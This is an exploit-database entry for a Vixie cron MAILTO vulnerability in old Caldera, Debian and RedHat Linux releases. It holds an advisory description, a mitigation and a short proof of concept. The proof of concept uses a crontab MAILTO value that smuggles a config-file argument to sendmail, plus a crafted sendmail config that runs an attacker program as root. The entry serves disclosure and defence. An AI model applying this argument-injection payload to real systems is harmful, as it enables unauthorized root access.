Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux

vendor:

OpenLinux, Debian Linux, RedHat Linux

by:

SecurityFocus

7.2

CVSS

HIGH

Vixie Cron MAILTO Sendmail Vulnerability

CWE

Product Name: OpenLinux, Debian Linux, RedHat Linux

Affected Version From: Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux <= 6.0

Affected Version To: Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux <= 6.0

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2001

Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux <= 6.0 Vixie Cron MAILTO Sendmail Vulnerability

Failure by the vixie cron daemon from validating the contents of a user supplied environment variable allow a malicious users to pass arbitrary command line arguments to sendmail while running as the root user. The cron daemon uses the cron_popen function to send email to the user that queue commands for execution by cron. The user can set a MAILTO environment variable before calling cron to have it send the email to a different address. The cron daemon passes the contents of this environment variable to sendmail via the command line while executing as the root user. This allow a local malicious user to obtain root access.

Mitigation:

Restrict access to cron and crontab files, and ensure that the MAILTO environment variable is not set in the crontab files.

Source

Exploit-DB raw data:

Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux <= 6.0 Vixie Cron MAILTO Sendmail Vulnerability

source: https://www.securityfocus.com/bid/611/info

Failure by the vixie cron daemon from validating the contents of a user supplied environment variable allow a malicious users to pass arbitrary command line arguments to sendmail while running as the root user.

The cron daemon uses the cron_popen function to send email to the user that queue commands for execution by cron. The user can set a MAILTO environment variable before calling cron to have it send the email to a different address. The cron daemon passes the contents of this environment variable to sendmail via the command line while executing as the root user. This allow a local malicious user to obtain root access. 


Set the user's crontab to

MAILTO=" -C/tmp/myexploitsendmail.cf"
* * * * * ls

In /tmp/myexploitsendmail.cf you basically modify the local mailer:

O DefaultUser=root:root
Mlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30,
R=20/40,
T=DNS/RFC822/X-Unix,
A=mail.local -l

i.e. remove the S flag, and set DefaultUser.